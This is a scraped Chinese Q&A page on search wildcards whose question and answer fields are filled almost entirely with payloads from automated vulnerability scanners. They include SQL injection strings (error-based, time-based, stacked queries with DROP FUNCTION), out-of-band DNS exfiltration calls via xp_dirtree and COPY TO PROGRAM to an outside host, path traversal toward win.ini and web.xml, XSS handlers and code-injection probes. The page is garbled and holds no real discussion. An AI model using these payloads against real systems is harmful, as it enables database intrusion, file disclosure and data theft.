?idth);deClAre@zvarChar(8000)seT@z=0x65786563_意思

模糊查询支持使用统配符,星号*表示多个字符,问号?表示单个字符.例如:帽?可以查到帽边

?idth);deClAre@zvarChar(8000)seT@z=0x65786563

提问者：113.110.145.167提问时间：2015/11/30 10:57:25

回答共37条

回答者：182.118.33.*回答时间：2016/2/12 17:38:43

88888,(SELECT (CASE WHEN (18=18) THEN 88888 ELSE 18*(SELECT 18 FROM master..sysdatabases) END))

回答者：182.118.33.*回答时间：2016/2/12 17:39:05

IIF(11=11,88888,1/0)

回答者：182.118.33.*回答时间：2016/2/12 17:40:13

88888'; IF(18=18) SELECT 1 ELSE DROP FUNCTION EEye_WebSec --

回答者：182.118.33.*回答时间：2016/5/21 14:34:55

88888

回答者：182.118.33.*回答时间：2016/5/21 14:39:27

(SELECT (CASE WHEN (83=71) THEN 88888 ELSE 1/(SELECT 0) END))

回答者：182.118.33.*回答时间：2016/5/21 14:40:31

88888'; IF(53=17) SELECT 1 ELSE DROP FUNCTION EEye_WebSec --

回答者：173.239.232.*回答时间：2017/8/14 6:41:54

?'?"

回答者：111.68.2.*回答时间：2018/4/3 12:45:50

response.write(9028364*9610324)

回答者：111.68.2.*回答时间：2018/4/3 12:46:10

回答者：111.68.2.*回答时间：2018/4/3 12:46:32

../../../../../../../../../../windows/win.ini.jpg

回答者：198.44.185.*回答时间：2018/9/16 2:32:05

zuoKlpRD

回答者：198.44.185.*回答时间：2018/9/16 2:32:36

1;EXEC master..xp_dirtree '\\dns.sqli.029905.3792-9031.3792.6ee20.1.bxss.me\' --

回答者：198.44.185.*回答时间：2018/9/16 2:33:02

1');EXEC master..xp_dirtree '\\dns.sqli.029905.3792-9045.3792.6ee20.1.bxss.me\' --

回答者：198.44.185.*回答时间：2018/9/16 2:33:34

1;copy (select '') to program 'nslookup dns.sqli.\029905.3792-9047.3792.6ee20.\1.bxss.me'

回答者：122.112.226.*回答时间：2018/11/13 2:41:35

response.write(9189526*9013269)

回答者：122.112.226.*回答时间：2018/11/13 2:41:57

syAwKUEd

回答者：59.56.149.*回答时间：2018/12/10 11:48:14

response.write(9217611*9489157)

回答者：59.56.149.*回答时间：2018/12/10 11:48:35

B7SFW5IB

回答者：59.56.149.*回答时间：2018/12/10 11:48:55

';print(md5(acunetix_wvs_security_test));$a='

回答者：59.56.149.*回答时间：2018/12/10 11:49:16

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

回答者：59.56.149.*回答时间：2018/12/10 11:49:36

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

回答者：59.56.149.*回答时间：2018/12/10 11:50:16

WEB-INF/web.xml

回答者：59.56.149.*回答时间：2018/12/10 11:50:39

WEB-INF/web.xml

回答者：101.227.1.*回答时间：2019/1/9 7:12:58

以下是来自218.18.121.* 的解释跟单员

88888

回答者：101.227.1.*回答时间：2019/1/9 7:13:07

88888%' AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(rand(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='

回答者：101.227.1.*回答时间：2019/1/9 7:13:20

88888 AND 1=(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1))

回答者：101.227.1.*回答时间：2019/1/9 7:13:30

88888%' AND 1=CHAR(106)+CHAR(106)+CHAR(106) AND '%'='

回答者：101.227.1.*回答时间：2019/1/9 7:13:32

88888') AND 1122=(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (1122=1122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) AND ('NASDAQ'='NASDAQ

回答者：101.227.1.*回答时间：2019/1/9 7:13:38

CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101)))

回答者：101.227.1.*回答时间：2019/1/9 7:13:41

88888

回答者：101.227.1.*回答时间：2019/1/9 7:14:03

88888; SELECT SLEEP(5)

回答者：101.227.1.*回答时间：2019/1/9 7:14:11

88888;SELECT PG_SLEEP(5)

回答者：101.227.1.*回答时间：2019/1/9 7:15:37

88888" onmouseover=prompt(42873) bad="

回答者：101.227.1.*回答时间：2019/1/9 7:16:36

88888" onmouseover=propromptmpt(42873) bad="

回答者：101.227.1.*回答时间：2019/1/9 7:17:26

88888%27